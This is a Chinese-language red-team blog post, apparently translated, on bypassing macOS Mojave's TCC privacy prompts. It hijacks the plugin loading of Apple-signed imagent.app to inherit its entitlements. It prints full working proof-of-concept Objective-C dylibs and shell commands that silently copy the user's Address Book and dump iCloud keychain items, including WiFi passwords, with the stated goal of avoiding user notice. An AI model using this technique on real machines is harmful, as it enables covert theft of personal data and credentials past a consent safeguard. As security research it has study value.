0x00 前言
我们在参与红方任务过程中经常能够碰到Apple设备,不同版本macOS上的隐私或者安全策略都可能有所改动,因此如果能够及时掌握这些改动,就可以对渗透过程起到很大的帮助。
macOS Mojave于2018年底发布,引入了一系列隐私限制机制。当应用请求访问敏感数据时(如摄像头、麦克风、通讯录、日历等),系统就会向用户发出警报。红方行动时的一个关键目标就是在不被察觉的情况下完成任务,因此我们希望能够绕过这些控制,避免用户看到警报。比如,我们肯定不希望用户看到如下警告窗口:
在本文中,我想与大家分享可能绕过这些隐私控制策略的一种技巧,这种技巧也可能用来绕过其他保护机制(比如对keychain功能的保护机制)。
0x01 macOS隐私策略
在寻找有没有快速方法能绕过Mojave的隐私控制时,我想澄清为什么第三方程序在访问日历和通讯录等功能时系统会向用户展示隐私警告框。此外,我还想理解为什么经过Apple签名的应用可以无需用户许可,就能访问这些功能。最终我发现答案是TCC(Transparency Consent and Control)服务。除了沙箱机制之外,TCC还负责监控访问行为,如果有应用请求受限资源时就会警告用户。
来实际演示一下,我们可以执行一些简单的操作:
ls ~/Library/Calendars
如果之前我们没有允许Terminal.app
访问日历(如果先前已经允许,那么也可以通过tccutil reset Calendar
来恢复设置),我们就会看到如下警告框:
如果点击“Don’t Allow”按钮,发起请求的应用就会收到如下错误:
如果查看“Security & Privacy”首选项面板,可以看到如下信息:
但这里有趣的是,在这个面板中并没有包含Calendar.app
应用,然而该应用的确需要访问~/Library/Calendars
目录。如果使用codesign
工具快速查看日历应用的entitlement,可以看到如下信息:
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>
这里我们看到了com.apple.private.tcc.allow
entitlement,如果具备该权限,应用在访问受保护资源时就不会弹出提示框。这个entitlement中列出了应用所请求的所有资源,这意味着Calendar.app
应用可以访问提醒事项、日历以及通讯录功能,TCC会满足该请求,并且不会向用户展示隐私提醒框。
不幸的是,我们无法使用这个entitlement来签名自己的应用,这个entitlement隶属于com.apple.private
,只适用于经过Apple签名的程序,因此我们需要找到其他方法来获取访问权限。
0x02 绕过方法
自从macOS Mojave发行以来,已经有人发表过绕过这种控制策略的一些文章(比如当Mojave处于beta版时,Patrick Wardle就发表过相关文章)。大多数方法需要依赖于已经带有相关entitlement的签名应用,这里我们也将遵循这种思路,寻找在目标应用中执行代码的另一种方式。
在本文中,我们的目标是macOS中自带的应用:imagent.app
,应用路径为/System/Library/PrivateFrameworks/IMCore.framework/imagent.app
。如果观察该应用的entitlement,我们可以找到一些有趣的访问区域。首先我们发现该应用能够在不弹框的情况下访问通讯录:
<key>com.apple.private.tcc.allow.overridable</key>
<array>
<string>kTCCServiceAddressBook</string>
</array>
此外,我们发现该应用还可以使用一些Keychain访问组。
<key>keychain-access-groups</key>
<array>
<string>ichat</string>
<string>apple</string>
<string>appleaccount</string>
<string>InternetAccounts</string>
<string>IMCore</string>
</array>
在研究如何在目标应用中控制代码执行流前,我们需要使用codesign
来验证与该程序关联的一些标志:
codesign -d --entitlements :- /System/Library/PrivateFrameworks/IMCore.framework/imagent.app -vv
执行该命令后,我们可以看到如下元数据:
CodeDirectory v=20100 size=4066 flags=0x0(none) hashes=120+5 location=embedded
在寻找合适的目标应用时,我们要注意一些标志,其中包括library-validation
,这个标志表示只有经过Apple或者应用team ID签名的dylib才能被加载。此外还有runtime
标志,表示应用使用的是比较安全的运行时,同样不允许我们将自己的dylib加载到进程中。
如果不存在这些flag,我们就不必去处理这些限制。现在我们可能会提出一个问题:“我们能否直接使用DYLD_INSERT_LIBRARIES
来加载自己的dylib”?答案是否定的。Apple当然考虑过这种情况,如果我们查看此处源码,就知道如果存在entitlement,我们就很难通过环境变量来加载dylib。
那我们还有其他选择吗?如果我们观察imagent.app
的结构,就可以看到有个有趣的PlugIns
目录。快速搜索相关资料后,我们发现这个目录的作用是方便在运行时加载Bundle,增加可扩展性。由于我们的目标应用并不需要经过签名的dylib,因此这有可能允许我们将任意代码加载到经过签名的进程中。
还有一个问题,imagent.app
目录位于经过SIP保护的路径中,因此如果无法绕过SIP,我们就无法将任何文件拷贝到该目录中。但其实这并不是问题,因为macOS并不关心应用的具体路径,只需要应用使用所需的entitlement签名即可。因此我们可以将该应用拷贝到我们可写的某个位置,就能绕过该问题。
接下来,我们需要澄清如何让该应用加载我们控制的某个Bundle。虽然我是Ghidra的铁粉,但在macOS中逆向分析时,我依然非常喜欢使用Hopper。现在我们可以反编译这个程序,观察程序对PlugIns
目录的使用方式。
我们可以搜索对NSBundle
的引用,很快就能找到_loadServices
方法,其中包含如下代码:
这里可以观察到Bundle必须包含特定的文件扩展名,该函在后续代码中还会加载我们的Bundle:
接下来我们需要构建自己的插件。懒惰是人们的天性,这里我们直接在文件系统中搜索可以修改的现有imservice
插件,最终在/System/Library/Messages/PlugIns
目录中找到了一些目标。
构建完插件后,我们可以将所需文件拷贝到可写目录中,只需使用如下命令:
cp -r /System/Library/PrivateFrameworks/IMCore.framework /tmp/; cp -r /System/Library/Messages/PlugIns/iMessage.imservice /tmp/IMCore.framework/imagent.app/Contents/PlugIns/
接下来我们需要创建待加载的dylib。我们可以从通讯录entitlement着手,提取支持的文件。在创建自己的dylib时,我们可以使用__attribute__((constructor))
描述符来确保当这个库在加载时,我们提供的代码会被执行,并且我们能够在用户看到提示框之前,有机会退出这个代理程序。典型的示例代码如下所示:
@implementation FunkyDylib :NSObject
-(void)copyFilesFrom:(NSString *)src toPath:(NSString *)dst {
NSFileManager *fileManager = [[NSFileManager alloc]init];
[fileManager copyItemAtPath:src toPath:dst error:nil];
}
@end
void runPOC(void) {
[FunkyDylib alloc] copyFilesFrom:@"/Users/xpn/Library/Application Support/AddressBook" toPath:@"/tmp/AddressBook"];
NSLog(@"[*] Copy complete, check /tmp/AddressBook for data");
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
printf("IMCore PlugIns hijack POC by @_xpn_nn");
runPOC();
exit(0);
}
编译如上代码后,我们可以直接替换iMessage.imservice
的插件dylib:
cp -f funky.dylib /tmp/IMCore.framework/imagent.app/Contents/PlugIns/iMessage.imservice/Contents/MacOS/iMessage
然后我们可以启动imagent
:
/tmp/IMCore.framework/imagent.app/Contents/MacOS/imagent
如果一切顺利,我们不会看到任何隐私警告框,并且收集到的通讯录数据已经被拷贝到/tmp
目录中。
0x03 访问Keychain
前面提到过,我们还可以使用其他一些有趣的entitlement,比如Keychain访问组。
观察可用的iCloud keychain,我们可以看到其中存储了一些项目,比如WiFi凭据,这里绑定了apple
访问组权限,可以在不弹框的情况下获取凭据信息。
我们可以尝试能否在不弹框的情况下,成功提取到这些凭据。为了完成这个任务,我们可以使用SecItemCopyMatching方法来搜索凭据,尝试dump出所有的属性,其中就包括已存储的密码:
@implementation FunkyDylib :NSObject
-(void)harvestKeychain {
NSDictionary *query = @{
(id)kSecClass: (id)kSecClassGenericPassword,
(id)kSecReturnData: (id)kCFBooleanTrue,
(id)kSecAttrSynchronizable: (id)kCFBooleanTrue,
(id)kSecReturnAttributes: (id)kCFBooleanTrue,
(id)kSecMatchLimit: (id)kSecMatchLimitAll
};
NSData *inData = nil;
CFTypeRef inTypeRef = (__bridge CFTypeRef)inData;
OSStatus status = SecItemCopyMatching((CFDictionaryRef)query, &inTypeRef);
if(status != noErr)
{
printf("[!] Error with SecItemCopyMatchingn");
return;
}
NSLog(@"[*] Dumping Wifi Creds from Keychain...nn");
NSLog(@"%@", (__bridge id)inTypeRef);
}
@end
void runPOC(void) {
[[FunkyDylib alloc] harvestKeychain];
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
printf("IMCore PlugIns hijack POC by @_xpn_nn");
runPOC();
exit(0);
}
再次覆盖前面我们构造的iMessage插件dylib,启动imagent
,观察运行结果:
0x04 总结
本文只是展示了macOS中可能受这种绕过技术影响的一个应用。需要注意的是,在即将推出的macOS Catalina中,如果应用想得到官方认证,那么就必须满足运行时安全加固条件。采用这种机制后,可用的攻击面可能近一步减少,但至少现在我们还是可以好好利用这种技术。
发表评论
您还未登录,请先登录。
登录